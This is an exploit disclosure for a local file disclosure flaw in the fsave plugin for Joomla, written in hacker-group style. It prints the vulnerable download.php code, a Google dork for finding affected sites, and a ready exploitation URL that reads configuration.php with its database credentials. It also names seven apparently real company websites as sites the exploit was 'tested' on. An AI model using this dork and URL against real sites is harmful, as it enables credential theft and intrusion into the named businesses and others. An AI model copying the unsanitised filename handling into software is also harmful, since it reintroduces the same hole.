.__ _____ _______ | |__ / | |___ __\ _ \_______ ____ | | \ / | |\ \/ / /_\ \_ __ \_/ __ \ | Y \/ ^ /> <\ \_/ \ | \/\ ___/ |___| /\____ |/__/\_ \\_____ /__| \___ > \/ |__| \/ \/ \/ _____________________________ / _____/\_ _____/\_ ___ \ \_____ \ | __)_ / \ \/ / \ | \\ \____ /_______ //_______ / \______ / \/ \/ \/ Joomla <= (fsave Plugin) Local File Disclosure Vulnerability ~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [+] Author : KnocKout [~] Contact : knockout@e-mail.com.tr [~] Skype : knockoutr@msn.com [~] HomePage : http://milw00rm.com - http://h4x0resec.blogspot.com [~] Greetz : b3mb4m, ZoRLu, Sen Haxor, Ne0-h4ck3r, KedAns-Dz ( milw00rm.com ) =================================================================== ~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |~Web App. : Joomla |~Plugin : fsave |~Affected Version : 2.0 |~Software : N/A |~RISK : High |~Google Dork : inurl:plugins/content/fsave/ =================================================================== ======================Info========================================= can be easily found in any database password for this "configuration.php" will be sufficient to read possible to read the file on the local database. incorrect coding and unconscious in it causing "download.php" file. that's laughter reason codes:) ============ Error line's in download.php =========================== <?php define('JPATH_BASE', dirname(dirname(dirname(dirname(__FILE__))))); $file = JPATH_BASE."/".$_GET['filename']; header('Content-Description: File Transfer'); header("Content-type: application/octet-stream"); header("Content-disposition: attachment; filename=".basename($file)); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Length: " . filesize($file)); ob_clean(); flush(); readfile($file); ?> ====================================================================== ======================== Tested on Demos ============================ http://www.gedore.pl http://www.gedore.com.pl http://www.rhodius.pl http://rhodius.com.pl http://loesomat.pl http://carolus.com.pl http://klann.pl ======================================================================= ========================= Exploitation ==================== http://[TARGET]/plugins/content/fsave/download.php?filename=configuration.php =======================================================================